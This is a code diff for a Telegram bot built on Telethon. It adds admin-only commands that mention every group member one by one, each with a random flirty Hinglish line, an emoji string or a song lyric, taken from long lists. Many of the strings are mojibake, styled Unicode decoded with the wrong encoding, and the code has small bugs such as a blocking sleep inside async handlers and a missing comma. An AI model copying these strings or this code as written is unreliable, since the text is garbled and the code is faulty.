+spam_chats = []
+
+
+@client.on(events.NewMessage(pattern="^/htag ?(.*)"))
+async def mention_all(event):
+ chat_id = event.chat_id
+ if event.is_private:
+ return await event.respond(
+ "__This command can be used in groups and channels!__"
+ )
+
+ is_admin = False
+ try:
+ partici_ = await client(GetParticipantRequest(event.chat_id, event.sender_id))
+ except UserNotParticipantError:
+ is_admin = False
+ else:
+ if isinstance(
+ partici_.participant, (ChannelParticipantAdmin, ChannelParticipantCreator)
+ ):
+ is_admin = True
+ if not is_admin:
+ return await event.respond("ðð§ð¥ð² ðððŠð¢ð§ ððð§ ððð§ðð¢ðšð§ ððš ðð¥ð¥ ðððð²...")
+
+ if event.pattern_match.group(1):
+ return await event.respond("/htag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ððð±ð ðð¢ðŠð ðð€ ð
ðšð« ððð ð ð¢ð§ð ..")
+ else:
+ mode = "text_on_cmd"
+ msg = event.pattern_match.group(1)
+ if msg is None:
+ return await event.respond(
+ "/htag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ðð« ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð..."
+ )
+
+ spam_chats.append(chat_id)
+ async for usr in client.iter_participants(chat_id):
+ if not chat_id in spam_chats:
+ break
+ user_id = usr.id
+ mention_text = f"[{usr.first_name}](tg://user?id={user_id}) {random.choice(TAGMES)}"
+ await client.send_message(chat_id, mention_text)
+ time.sleep(5)
+
+ try:
+ spam_chats.remove(chat_id)
+ except:
+ pass
+
+
+
+
+EMOJI = [ "ðŠðŠðŠðŠðŠ",
+ "ð§ðžð§ð¬ð«",
+ "ð¥ð·ð¹ðºð",
+ "ðžð¿ð®ð±ðµ",
+ "â€ïžðððð€",
+ "ððððð",
+ "ðžððºð¹ðŠ",
+ "ððŠªðð²ð¥",
+ "ððððð¶ïž",
+ "ð§ð¥€ð§ð¥ð·",
+ "ð¬ðð§ðð¡",
+ "ðšð§ðºâð»",
+ "ð¥ªð¥§ðŠð¥ð",
+ "ð«âð¹ð·ð¥",
+ "âð§ð©ðŠð",
+ "ððŸð®ðð¿",
+ "ðšïžð¥ïžâïžð©ïžð§ïž",
+ "ð·ðµïžðžðºð",
+ "ð®ðŒð»ðð",
+ "ð§ðŠžðйð§ðž",
+ "ð§
ð ð¥ðœð¥Š",
+ "ð·ð¹ððšð»ââïž",
+ "ðŠððððââ¬",
+ "ðŒð³ð²ðŽðµ",
+ "ð¥©ðððð",
+ "ðŽðœïžðªð¶ð¥",
+ "ðð°ð©â©ïžð©",
+ "ððððð",
+ "ðªŽðµðŽð³ð²",
+ "ððððð",
+ "ðŠ
ðŠðïžðŠ€ðŠ¢",
+ "ðŠ€ðŠ©ðŠðŠðŠ",
+ "ð¬ðŠðŠðð³",
+ "ððð ð¡ðŠ",
+ "ðŠ©ðŠðŠððŠª",
+ "ðŠðŠð·ïžðžïžð",
+ "ð¥ªð°ð¥§ðšðš",
+ " ð¥¬ðð§ð§",
+ ]
+
+@client.on(events.NewMessage(pattern="^/etag ?(.*)"))
+async def mention_all(event):
+ chat_id = event.chat_id
+ if event.is_private:
+ return await event.respond(
+ "__This command can be used in groups and channels!__"
+ )
+
+ is_admin = False
+ try:
+ partici_ = await client(GetParticipantRequest(event.chat_id, event.sender_id))
+ except UserNotParticipantError:
+ is_admin = False
+ else:
+ if isinstance(
+ partici_.participant, (ChannelParticipantAdmin, ChannelParticipantCreator)
+ ):
+ is_admin = True
+ if not is_admin:
+ return await event.respond("ðð§ð¥ð² ðððŠð¢ð§ ððð§ ððð§ðð¢ðšð§ ððš ðð¥ð¥ ðððð²...")
+
+ if event.pattern_match.group(1):
+ return await event.respond("/etag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ððð±ð ðð¢ðŠð ðð€ ð
ðšð« ððð ð ð¢ð§ð ..")
+ else:
+ mode = "text_on_cmd"
+ msg = event.pattern_match.group(1)
+ if msg is None:
+ return await event.respond(
+ "/etag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ðð« ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð..."
+ )
+
+ spam_chats.append(chat_id)
+ async for usr in client.iter_participants(chat_id):
+ if not chat_id in spam_chats:
+ break
+ user_id = usr.id
+ mention_text = f"[ {random.choice(EMOJI)} ](tg://user?id={usr.id})"
+ await client.send_message(chat_id, mention_text)
+ time.sleep(5)
+
+ try:
+ spam_chats.remove(chat_id)
+ except:
+ pass
+
+
+
+
+TAGMES = [ " **ððð² ðððð² ððð¡ð ððšð¥±** ",
+ " **ðð²ð ððš ðð²ð ðð²ð ðð§ð¥ð¢ð§ð ðððšð** ",
+ " **ðð ðð¡ðð¥ðš ððððð§ ððð«ðð ððð¢ð§ ðð®ðð¡ ðð®ðð¡ð** ",
+ " **ðð¡ðð§ð ðð¡ð ðð¢ð²ð ðð¢..??ð¥²** ",
+ " **ðð¡ðð« ðð ððð ððð¢ð¬ð ððð¢ð§ ðð¢ð¥º** ",
+ " **ððð ððð¢ ððšð¡ðšð ðð¢ð¬ð¬ ððð« ðð¡ð¢ ðð¡ð¢ ððð©ð€ðšð€** ",
+ " **ðð²ð ððð¥ ðð¡ðð¥ ððð¬ð ððð¢..??ð€š** ",
+ " **ððð«ð¢ ðð¡ð¢ ððððð¢ð§ð ððð«ðð ððšð ð..??ð** ",
+ " **ððð©ð€ð ðððŠð ðð²ð ð¡ðð¢..??ð¥²** ",
+ " **ððð¬ðð ðð®ð ððð©ð€ð..??ð** ",
+ " **ððð«ð ððš ðð©ð§ð ðð«ðšð®ð© ðð ðð¢ðð§ðð© ðð« ððšð** ",
+ " **ððð©ð€ð¢ ððð«ðð§ðð« ððð©ð€ðš ðð¡ð®ð§ð ðð¡ð ððð¢ð§ ðð¥ðð¢ ðð§ð¥ð¢ð§ð ðð²ð¢ððð
ð
** ",
+ " **ððð«ð ðð ððšð¬ðð¢ ðð«ðšð ð..??ð€** ",
+ " **ððšð§ð ðð¡ðð¥ ðð²ð ðð²ððð** ",
+ " **ðð€ ððšð§ð ðð¥ðð² ðð«ðš ðð ðð¥ð¬ð¬ð** ",
+ " **ððð© ððð¡ð ðð ððš..??ð** ",
+ " **ððð¥ð¥ðš ðð¢ ðððŠðð¬ððð** ",
+ " **ððð¥ð¥ðš ðððð² ðð€ð«ð¡..?ð€** ",
+ " **ððš ððšð® ðð§ðšð° ðð¡ðš ðð¬ ðð² ðð°ð§ðð«.?** ",
+ " **ðð¡ð¥ðš ðð®ðð¡ ðððŠð ðð¡ðð¥ðð ððð¢ð§.ð€** ",
+ " **ðð®ð« ðððððš ððð¢ð¬ð ððš ðððð²ð** ",
+ " **ðð®ðŠð¡ðð«ð¢ ðð®ðŠðŠð² ðð²ð ððð« ððð¡ð¢ ððð¢ð€** ",
+ " **ððð«ð ðð ððð ððšð¢ ðð«ðšð ðð¥ºð¥º** ",
+ " **ðð²ð ððð ðð¥ ðð§ð¥ð¢ð§ð ðð ððð¶** ",
+ " **ððð£ ððšð¥ð¢ððð² ððð¢ ðð²ð ððð¡ðšðšð¥ ðð..??ð€** ",
+ " **ðð²ð ððšðšð ððšð«ð§ð¢ð§ð ð** ",
+ " **ðð®ð§ðš ðð€ ðððŠ ððð¢ ðð®ðŠð¬ðð** ",
+ " **ððšð¢ ððšð§ð ðð¥ðð² ðð«ðš ðððª** ",
+ " **ðð¢ðð ððš ðððð ðð¡âº** ",
+ " **ððð¥ð¥ðšð** ",
+ " **ððð®ðð² ððšðŠð¥ððð ðð®ð??ðº** ",
+ " **ððšð¥ðš ðð ðð®ðð¡ ðð«ð«ð¥²** ",
+ " **ððšð§ðð¥ð¢ ððšð§ ððð¢...??ð
** ",
+ " **ðð®ðŠð¡ðð«ð¢ ðð€ ðð¢ð ðð¢ð¥ðð ð¢..?ð
** ",
+ " **ðð®ðŠðŠð² ðð ðð²ð¢ ðð²ðððð** ",
+ " **ðð« ðððððš ðð¡ððð¡ð¢ ððð¢ð¬ð¢ ððð¢ð** ",
+ " **ð ððšð¯ð ððšð®ððð** ",
+ " **ððš ððšð® ððšð¯ð ðð..?ð** ",
+ " **ððð€ð¡ð¢ ððð ððð§ð ððð¡ð¢ ððš.??ð** ",
+ " **ðð€ ððšð§ð ðð®ð§ðð®..?ð¹** ",
+ " **ðð§ð¥ð¢ð§ð ðð ðð ðð ððšð§ð ðð®ð§ð ððð¡ð¢ ðð®ð»** ",
+ " **ðð§ð¬ððð ð«ððŠ ðð¡ðð¥ððð ððš..??ð** ",
+ " **ðð¡ððð¬ðð©ð© ðð®ðŠððð« ððšð ð ðð©ð§ð ðð®ðŠ..?ð** ",
+ " **ðð®ðŠð¡ð ððšð§ ðð ðð®ð¬ð¢ð ðð®ð§ð§ð ððð¬ðð§ð ððð¢..?ð** ",
+ " **ððð«ð ðððŠ ðð¡ððððŠ ððš ðð²ð ððð©ð€ð..?ð** ",
+ " **ððð¡ð ðð ððš ððð©ð** ",
+ " **ðð®ð§ðš ððð§** ",
+ " **ððð«ð ðð€ ððððŠ ððð« ððšð ð..?** ",
+ " **ðð² ðððð ððð ððð ððð«ð§ð ððð£ ðð ðððð ** ",
+ " **ððšðŠ ððð ððð¢ð¬ð ððð¢ð§..?â€** ",
+ " **ðð²ð ðð®ð..?ð±** ",
+ " **ððšð¡ðšð ðððð ðð ðð¡ð¢ ððð¢ ð€§â£ïž** ",
+ " **ðð¡ð®ð¥ ðð²ð ðð®ð£ð¡ððð** ",
+ " **ðð®ðð¡ ðð¡ð¢ ððšð¥ð§ð ðð¡ðð¡ð¢ð²ðð€** ",
+ " **ðð¡ð ððš ðð¡ðð° ððð ðð«ðš ððððð** ",
+ " **ðð²ð ðð®ðð®ð®** "
+ " **ðð¢ð¢ð** ",
+ " **ððð©ð€ð ððð¢ð¬ð ððšð¬ð ððš ðððð¡ ðð ð
ð¢ð« ðð®ðŠ ðð¢ð¬ ððð ðð ð** ",
+ " **ððð£ ððð¢ ððð ðð® â¹ïž** ",
+ " **ðð®ð¬ð£ð¡ð¬ð ðð¡ð¢ ððð ððð« ððš ðð ð¥ºð¥º** ",
+ " **ðð²ð ððð« ððð¡ð ððšð** ",
+ " **ðð²ð ððð¥ ðð¡ðð¥ ððð¢ ð** ",
+ " **ððð¡ð ðð ððš ððð©..?ð€** ",
+ " **ðð¡ðððð¢ð§ð ððð« ððš ðð..ð¥º** ",
+ " **ðð ððð¬ðšðšðŠ ðð® ððð¥ºð¥º** ",
+ " **ððð¥ ððð£ð ðð²ð ðð¡ð ððð€ð
** ",
+ " **ðð«ðšð®ð© ðð ððð ðð²ð® ððð¡ð¢ ððð«ðð ððšð** ",
+ " **ððð© ððð¥ððð¢ðšðŠð¬ð¡ð¢ð© ðð ððš..?ð** ",
+ " **ðð¢ðð§ð ðð¡ð®ð© ððð¡ðð ððš ðð«ð«ðŒ** ",
+ " **ððð©ð€ðš ððð§ð ððð§ð ðððð ððð¢..?ðž** ",
+ " **ðð¡ð®ðŠð§ð ðð¡ðð¥ðšð ð..??ð** ",
+ " **ðð¡ð®ð¬ ððð¡ð ððð«ðš âïžð€** ",
+ " **ðððŠ ððšð¬ð ððð§ ððð€ðð ððð¢...?ð¥°** ",
+ " **ðð®ðð¡ ððšð¥ ðð²ð® ðð¡ð¢ ððð¡ð ððš..ð¥ºð¥º** ",
+ " **ðð®ðð¡ ðððŠððð«ð¬ ððð ððð« ððš ð¥²** ",
+ " **ðð¢ð§ð ð¥ð ððš ðð ðð¢ð§ð ð¥ð ð** ",
+ " **ðððš ððð«ðð² ððð«ðð ððð¢ð§ðð¥³** ",
+ " **ðððŠð¥ðšðšð§** ",
+ " **ðð®ð£ð¡ð ðð¡ð®ð¥ ðð²ð ðð²ðð¥º** ",
+ " **ððð¡ð ðð ðððš:- [ @NOxDISCUSSION] ððð¬ðð¢ ððð«ðð§ð ð ð€ð€** ",
+ " **ðð«ð®ðð¡ ðð§ð ððð«ð ðð¡ðð¥ðšð ð..? ð** ",
+ " **ððð£ ðð®ðŠðŠð² ðð ðððð ðð«ð¥ºð¥º** ",
+ " **ððšð¢ð§ ððð« ððš:- [ @NOxDISCUSSION ] ð€** ",
+ " **ðð€ ðð¢ð¥ ððð¢ ðð€ ðð¢ð¥ ðð¢ ððš ððð¢ðð** ",
+ " **ðð®ðŠð¡ðð«ð ððšð¬ð ððð¡ð ðð²ðð¥º** ",
+ " **ðð² ðð®ðð ðð°ð§ðð« [ @FENIXsSLAYER ]ð¥°** ",
+ " **ððð¡ð ðð¡ðšð²ð ððš ðððð§ð** ",
+ " **ððšðšð ð8 ðð¢ ðð¡ð®ð ððð ððš ð ð²ð¢ð¥°** ",
+ ]
+
+@client.on(events.NewMessage(pattern="^/tagall ?(.*)"))
+@client.on(events.NewMessage(pattern="^@all ?(.*)"))
+@client.on(events.NewMessage(pattern="^/utag ?(.*)"))
+@client.on(events.NewMessage(pattern="^@utag ?(.*)"))
+@client.on(events.NewMessage(pattern="^/all ?(.*)"))
+@client.on(events.NewMessage(pattern="^#all ?(.*)"))
+@client.on(events.NewMessage(pattern="^@tagall ?(.*)"))
+@client.on(events.NewMessage(pattern="^/mentionall?(.*)"))
+@client.on(events.NewMessage(pattern="^@mentionall ?(.*)"))
+@client.on(events.NewMessage(pattern="^#mentionall ?(.*)"))
+@client.on(events.NewMessage(pattern="^/mention ?(.*)"))
+@client.on(events.NewMessage(pattern="^@mention ?(.*)"))
+@client.on(events.NewMessage(pattern="^#mention ?(.*)"))
+@client.on(events.NewMessage(pattern="^/tag ?(.*)"))
+@client.on(events.NewMessage(pattern="^#tag ?(.*)"))
+@client.on(events.NewMessage(pattern="^@tag ?(.*)"))
+@client.on(events.NewMessage(pattern="^#utag ?(.*)"))
+@client.on(events.NewMessage(pattern="^#tagall ?(.*)"))
+async def mentionall(event):
+ chat_id = event.chat_id
+ if event.is_private:
+ return await event.respond(
+ "__This command can be use in groups and channels!__"
+ )
+
+ is_admin = False
+ try:
+ partici_ = await client(GetParticipantRequest(event.chat_id, event.sender_id))
+ except UserNotParticipantError:
+ is_admin = False
+ else:
+ if isinstance(
+ partici_.participant, (ChannelParticipantAdmin, ChannelParticipantCreator)
+ ):
+ is_admin = True
+ if not is_admin:
+ return await event.respond("__Only admins can mention all!__")
+
+ if event.pattern_match.group(1) and event.is_reply:
+ return await event.respond("__Give me one argument!__")
+ elif event.pattern_match.group(1):
+ mode = "text_on_cmd"
+ msg = event.pattern_match.group(1)
+ elif event.is_reply:
+ mode = "text_on_reply"
+ msg = await event.get_reply_message()
+ if msg == None:
+ return await event.respond(
+ "__I can't mention members for older messages! (messages which are sent before I'm added to group)__"
+ )
+ else:
+ return await event.respond(
+ "__Reply to a message or give me some text to mention others!__"
+ )
+
+ spam_chats.append(chat_id)
+ usrnum = 0
+ usrtxt = ""
+ async for usr in client.iter_participants(chat_id):
+ if not chat_id in spam_chats:
+ break
+ usrnum += 1
+ usrtxt += f"[{usr.first_name}](tg://user?id={usr.id}), "
+ if usrnum == 5:
+ if mode == "text_on_cmd":
+ txt = f"{msg}\n{usrtxt}"
+ await client.send_message(chat_id, txt)
+ elif mode == "text_on_reply":
+ await msg.reply(usrtxt)
+ await asyncio.sleep(3)
+ usrnum = 0
+ usrtxt = ""
+ try:
+ spam_chats.remove(chat_id)
+ except:
+ pass
+
+
+
+MUSIC = [
+ " **Tere naalo challiye haseen koyi NA ðð** ",
+ " **Taare chann ambar zameen koyi nA** ",
+ " **Main Jado Tere Mode Utte Sir Rakheyað§ð§** ",
+ " **Eh Ton Sachi Sama Vi Haseen Koi Naðð** ",
+ " **Sohniyan Vi Laggan Giyan Fer Walianðð** ",
+ " **Galan Nal Jado Takraiyan Waliyanð¥°ð¥°** ",
+ " **Tare Dekhi Labh Labh Kiven Hardeðð** ",
+ " **Tu Bala Ch Lakoiyan Jado Ratan Kaliyanðð** ",
+ " **Main Sab Kuj Har Tere Utton Deâungaðð** ",
+ " **Sab Kuj War Tere Utton Deâungaðð** ",
+ " **Akhir Ch Jan Tainu Deâun Apniðð** ",
+ " **Chala Tainu Bhavein Pehli War Deâungaðð** ",
+ " **Han Main Cheti Cheti Lawanð«ð«** ",
+ " **Tere Nal Laini anð£ð£** ",
+ " **Samay Da Tan Bhora Vi Yakeen Koi Nað¥ºð¥º** ",
+ " **Tere Nalo Jhaliye Haseen Koi Nað¥°ð¥°** ",
+ " **Tare Chann Ambar Zameen Koi Naðð** ",
+ " **Tere Nalo Jhaliye Haseen Koi Naðð** ",
+ " **Tare Chann Ambar Zameen Koi Nað¥°ð¥°** ",
+ " **Main Jado Tere Mode Utte Sir Rakheyaðð** ",
+ " **Eh Ton Sachi Sama Vi Haseen Koi Naðð** ",
+ " **Tu Yar Mera Tu Hi Ae Sahara AdiyE** ",
+ " **Main Pani Tera Mera Tu Kinara Adiye** ",
+ " **Phul Ban Jai Main Khushboo Bann Ju** ",
+ " **Deevan Bani Mera Teri Lau Ban Ju** ",
+ " **Haye Ujadiyan Thawan Te Banate Bag Ne** ",
+ " **Teriyan Ankhan Ne Kitte Jadu Yad Ne** ",
+ " **Jado Wang Kolon Phadi Vi Ni KassKe** ",
+ " **Totte Sambh Rakhe Tutte Hoye Kach De** ",
+ " **Han Ki Dil Yadan Rakhda Ae, Sambh Sambh Ke** ",
+ " **Hor Dil Sajjna Machine Koi Na** ",
+ " **Tere Nalo Jhaliye Haseen Koi Na** ",
+ " **Tare Chann Ambar Zameen Koi Na** ",
+ " **Tere Nalo Jhaliye Haseen Koi Na** ",
+ " **Tare Chann Ambar Zameen Koi Na** ",
+ " **Main Jado Tere Mode Utte Sir Rakheya** ",
+ " **Eh Ton Sachi Sama Vi Haseen Koi Na** ",
+ " **Kine Din Hogye Meri Akh Soi Na** ",
+ " **Tere Ton Bagair Mera Aithe Koi Na** ",
+ " **Tu Bhukh Vi Ae Tu Hi Ae Guzara Adiye** ",
+ " **Mannu Sab Kari Tu Ishara Adiye** ",
+ " **Ho Khaure Kinni War Seene Vich Khubiyan** ",
+ " **Surme De Vich Dovein Ankhan Dubbiyan** ",
+ " **Kini Sohni Lagge Jadon Chup Kar Je** ",
+ " **Jandi Jandi Shaman Nu Vi Dhup Kar Je** ",
+ " **Haye Main Paun Farmaishi Rang Tere Sohniye** ",
+ " **Unj Bahotan Gifty Shaukeen Koi Na** ",
+ " **Tere Nalo Jhaliye Haseen Koi Naðð** ",
+ " **Tare Chann Ambar Zameen Koi Nað¥°ð¥°**",
+ " **Tere Nalo Jhaliye Haseen Koi Naðð** ",
+ " **Tare Chann Ambar Zameen Koi Nað¥°ð¥°** ",
+ " **Main Jado Tere Mode Utte Sir Rakheyaðð** ",
+ " **Eh Ton Sachi Sama Vi Haseen Koi Naðð** ",
+ " **Kanna Wich Jhumkaðð** ",
+ " **Akhan Wich Surmaðð** ",
+ " **Ho Jaise Strawberry Candyðð** ",
+ " **Nakk Utte Kokað€šð€š** ",
+ " **Jeena Kare Aukhað€ð€** ",
+ " **Haye Meri Jaan Kadd Laindiðð** ",
+ " **Tere Nakhre Haye Tauba Sanu Maardeð€«ð€«** ",
+ " **Ho Gaya Hai Mera Baby Bura HaaLðð** ",
+ " **Sachi Lut Gaye Hum Tere Is Pyar Meinðð** ",
+ " **Jeeni Zindagi Hai Bas Tere Naalðð** ",
+ " **cause I Love You ðð** ",
+ " **I Love YoU SO MUCH ðð** ",
+ " **cause I Love You ðð** ",
+ " **I Love YoU SO MUCH ðð** ",
+ " **Sapno Mein Mere AayIðð** ",
+ " **Uff Oh Phir Neendein Hi Churayiðð** ",
+ " **Oh No! Tera Husan Nazarað¥°ð¥°** ",
+ " **Baby! Lage Sohna Kitna PyarAðð** ",
+ " **Sapno Mein Mere Aayiðð** ",
+ " **Uff Oh Phir Neendein Hi Churayiðð** ",
+ " **Oh No! Tera Husan Nazarað¥°ð¥°** ",
+ " **Baby! Lage Sohna Kitna PyarAðð** ",
+ " **Tainu Diamond Mundri Pehnawaðð** ",
+ " **Naale Duniya Sari Ghumawaðð** ",
+ " **Chhoti-Chhoti Gallan Utte Main Hasavaanðð** ",
+ " **Yaara Kade Vi Na Tainu Main Rulawaanðð** ",
+ " **cause I Love Youðð** ",
+ " **I Love You â€ïžâ€ïž** ",
+ " **cause I Love Youðð** ",
+ " **I Love You â€ïžâ€ïž** ",
+ " **Yaari Laawan Sachi YaarIð«ð«** ",
+ " **Tu Jaan Ton Vi Pyariðð** ",
+ " **Will Love You To The Moon And Backðð** ",
+ " **Hogi Saza Na Koyi Hogiðð** ",
+ " **Chahe Karun Chori Chaand Taareðð** ",
+ " **Imma Give You Themð
ð
** ",
+ " **Yaari Laavan Sachi YaarIðð** ",
+ " **Tu Jaan Ton Vi PyarIðð** ",
+ " **Will Love You To The Moon And Backðð** ",
+ " **Hogee Sazaa Na Koyi Hogiðð** ",
+ " **Chahe Karun Chori Chaand Taareð¥ºð¥º** ",
+ " **Imma Give You Themð¥µð¥µ** ",
+ " **Puri Karunga Main Teri Sari Khahisheinðð** ",
+ " **Tera Rakhanga Main ajj Ke Khayalðð** ",
+ " **Kitni Khoobiyan Hai Tere Is Yaar Meinð¥°ð¥°** ",
+ " **Aaja Bahon Mein Tu Bahein Bas Daalðð** ",
+ " **Aur Hota Nahi Ab Intezarð€©ð€©** ",
+ " **Aur Hota Nahee Ab Intezaarðð** ",
+ " **cause I Love You ðð** ",
+ " **I Love YoU ðð** ",
+ " **cause I Love You** ",
+ " **I Love YoU SOOOOOOOOOOOOOOOOOO MUCHHHHHHHHHHHHHHHHHHHHH ðð** ",
+ " **WILL U BE MINE FOREVER??ð€ð€** ",
+ " **Je tu akh te main aan kaajal veðð** ",
+ " **Tu baarish te main baadal veð€«ð€«** ",
+ " **Tu deewana main aan paagal veð€ªð€ª** ",
+ " **Sohneya sohneyaâºïžâºïž** ",
+ " **Je tu chann te main aan taara veð€ð€** ",
+ " **Main lehar te tu kinara veð¶ð¶** ",
+ " **Main aadha te tu saara veð€ð€"" ",
+ " **Sohneya sohneyaðð** ",
+ " **Tu jahan hai main wahanðð** ",
+ " **Tere bin main hoon hi kyað¥²ð¥²** ",
+ " **Tere bin chehre se mereð€ð€** ",
+ " **Udd jaaye rang veð
ð
** ",
+ " **Tujhko paane ke liye huMðð** ",
+ " **Roz mangein mannat veðð** ",
+ " **Duniya to kya cheez hai yaaraðð** ",
+ " **Thukra denge jannat veðð** ",
+ " **Tujhko paane ke liye humðð** ",
+ " **Roz mangein mannat veð€«ð€«** ",
+ " **Duniya to kya cheez hai yaarað€ð€** ",
+ " **Thukra denge jannat veðð** ",
+ " **Na parwah mainu apni aaðð** ",
+ " **Na parwah mainu duniya dið
ð
** ",
+ " **Na parwah mainu apni aað
ð
** ",
+ " **Na parwah mainu duniya dið
ð
** ",
+ " **Tere ton juda nahi kar sakdið€¬ð€¬** ",
+ " **Koyi taakat mainu duniya diðð** ",
+ " **Dooron aa jaave teri khushbuðð** ",
+ " **Akhan hun band taan vi vekh lawanðð** ",
+ " **Teri gali vich mera auna har rozðð** ",
+ " **Tera ghar jadon aave matha tek lawanðð** ",
+ " **Nirmaan tujhko dekh keðð** ",
+ " **Aa jaave himmat veðð** ",
+ " **Tujhko paane ke liye humðð** ",
+ " **Roz mangein mannat veðð** ",
+ " **Duniya to kya cheez hai yaaraðð** ",
+ " **Thukra denge jannat veðð** ",
+ " **Tujhko paane ke liye humð€«ð€«** ",
+ " **Roz mangein mannat veðð** ",
+ " **Duniya to kya cheez hai yaaraðð** ",
+ " **Thukra denge jannat veðð** ",
+ " **SO MISS ð¶ð¶** ",
+ " **KYA SOCHA APNE BAARE MAINðð** ",
+ " **BADI MUSHKIL SE YEH SAB KARA H REð¥µð¥µ** ",
+ " **PAHLE PURA BOT HI KANG MAAR DIYA BUTð€«ð€«** ",
+ " **WAHI ERROR AAYE JO AATE THEð¥²ð¥²** ",
+ " **BUT TUMHARA HO CHUKA WALA BFðð** ",
+ " **AND FUTURE HUSBAND JO BANNE WALA THA WO BHOT SMART H REðð** ",
+ " **ISS BAAR BOT BANAYA AND CHOTA SA EDIT KARA BASðð** ",
+ " **AUR DEKO ABHI TUM USSI BOT SE YEH PADH PAA RHIðð** ",
+ " **HEHE BTW YEH CHORO MEKO NA TUMSEð¶ð¶** ",
+ " **KUCH PUCHNA THA KI MEð€ð€** ",
+ " **TUMHARE KABIL HU YA** ",
+ " **TUMHARE KABIL NHIðð** ",
+ " **AND EK AUR BAAT BOLNI THI KIðð** ",
+ " **I REALLY REALLY DEEPLYðð** ",
+ " **LOVE YOU FROM MY HEART TO YOUR HEAT AND MY SOUL ATTACHED BY YOUR SOUL CAN YOU BE MINE FOREVERððâ€ïž** ",
+]
+
+
+@client.on(events.NewMessage(pattern="^/mtag ?(.*)"))
+async def mention_all(event):
+ chat_id = event.chat_id
+ if event.is_private:
+ return await event.respond(
+ "__This command can be used in groups and channels!__"
+ )
+
+ is_admin = False
+ try:
+ partici_ = await client(GetParticipantRequest(event.chat_id, event.sender_id))
+ except UserNotParticipantError:
+ is_admin = False
+ else:
+ if isinstance(
+ partici_.participant, (ChannelParticipantAdmin, ChannelParticipantCreator)
+ ):
+ is_admin = True
+ if not is_admin:
+ return await event.respond("ðð§ð¥ð² ðððŠð¢ð§ ððð§ ððð§ðð¢ðšð§ ððš ðð¥ð¥ ðððð²...")
+
+ if event.pattern_match.group(1):
+ return await event.respond("/mtag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ððð±ð ðð¢ðŠð ðð€ ð
ðšð« ððð ð ð¢ð§ð ..")
+ else:
+ mode = "text_on_cmd"
+ msg = event.pattern_match.group(1)
+ if msg is None:
+ return await event.respond(
+ "/mtag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ðð« ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð..."
+ )
+
+ spam_chats.append(chat_id)
+ async for usr in client.iter_participants(chat_id):
+ if not chat_id in spam_chats:
+ break
+ user_id = usr.id
+ mention_text = f"[{usr.first_name}](tg://user?id={user_id}) {random.choice(MUSIC)}"
+ await client.send_message(chat_id, mention_text)
+ time.sleep(5)
+
+ try:
+ spam_chats.remove(chat_id)
+ except:
+ pass
+
+
+
+
+SRAID = [
+ " **à€à€¶à¥à¥ à€¹à¥ à€¯à€Ÿ à€à¥à€ à€à€° à€¯à¥ à€ªà€€à€Ÿ à€šà€¹à¥à€, à€ªà€° à€à¥ à€€à¥à€®à€žà¥ à€¹à¥ à€à€¿à€žà¥ à€à€° à€žà¥ à€šà€¹à¥à€ ðð** ",
+ " **à€®à¥ à€à¥à€žà¥ à€à€¹à¥ à€à¥ à€à€žà€à€Ÿ à€žà€Ÿà€¥ à€à¥à€žà€Ÿ à€¹à¥, à€µà¥ à€à€ à€¶à€à¥à€ž à€ªà¥à€°à¥ à€à€Ÿà€¯à€šà€Ÿà€€ à€à¥à€žà€Ÿ à€¹à¥** ",
+ " **à€€à¥à€°à€Ÿ à€¹à¥à€šà€Ÿ à€¹à¥ à€®à¥à€°à¥ à€²à€¿à€¯à¥ à€à€Ÿà€ž à€¹à¥, à€€à¥ à€Šà¥à€° à€¹à¥ à€žà€¹à¥ à€®à€à€° à€®à¥à€°à¥ à€Šà€¿à€² à€à¥ à€ªà€Ÿà€ž à€¹à¥** ",
+ " **à€®à¥à€à¥ à€€à¥à€°à€Ÿ à€žà€Ÿà€¥ à€à€Œà€¿à€šà¥à€Šà€à¥ à€à€° à€šà€¹à¥à€ à€à€Ÿà€¹à€¿à€¯à¥, à€¬à€²à¥à€à€¿ à€à€¬ à€€à€ à€€à¥ à€žà€Ÿà€¥ à€¹à¥ à€€à€¬à€€à€ à€à€Œà€¿à€šà¥à€Šà€à¥ à€à€Ÿà€¹à€¿à€ ðð** ",
+ " **à€€à¥à€à€žà¥ à€®à¥à€¹à€¬à¥à€¬à€€ à€à¥à€ à€
à€²à€ à€žà¥ à€¹à¥ à€®à¥à€°à¥, à€€à¥à€à¥ à€à€¯à€Ÿà€²à¥ à€®à¥à€ à€šà€¹à¥à€ à€Šà¥à€à€ à€®à¥à€ à€¯à€Ÿà€Š à€à€°à€€à¥ à€¹à¥ðð** ",
+ " **à€€à¥ à€¹à¥à€Ÿà€° à€¬à€Ÿà€° à€à¥ à€°à¥à€ à¥ à€€à¥ à€®à€šà€Ÿ à€²à¥à€à€à€Ÿ à€€à¥à€à¥** ",
+ " **à€®à€à€° à€Šà¥à€ à€®à¥à€¹à€¬à¥à€¬à€€ à€®à¥à€ à€¶à€Ÿà€®à€¿à€² à€à¥à€ à€Šà¥à€žà€°à€Ÿ à€šà€Ÿ à€¹à¥ðð** ",
+ " **à€à€¿à€žà¥à€®à€€ à€¯à€¹ à€®à¥à€°à€Ÿ à€à€®à¥à€€à¥à€¹à€Ÿà€š à€²à¥ à€°à€¹à¥ à€¹à¥ðð** ",
+ " **à€€à¥à€ª à€à€° à€¯à€¹ à€®à¥à€à¥ à€Šà€°à¥à€Š à€Šà¥ à€°à€¹à¥ à€¹à¥ðð** ",
+ " **à€Šà€¿à€² à€žà¥ à€à€à¥ à€à¥ à€®à¥à€à€šà¥ à€à€žà¥ à€Šà¥à€° à€šà€¹à¥à€ à€à€¿à€¯à€Ÿðð** ",
+ " **à€«à€¿à€° à€à¥à€¯à¥à€ à€¬à¥à€µà€«à€Ÿà€ à€à€Ÿ à€µà€¹ à€à€²à¥à€Ÿà€® à€Šà¥ à€°à€¹à¥ à€¹à¥ðð** ",
+ " **à€®à€°à¥ à€€à¥ à€²à€Ÿà€à¥à€ à€¹à¥à€à€à¥ à€€à¥à€ à€ªà€°ðð** ",
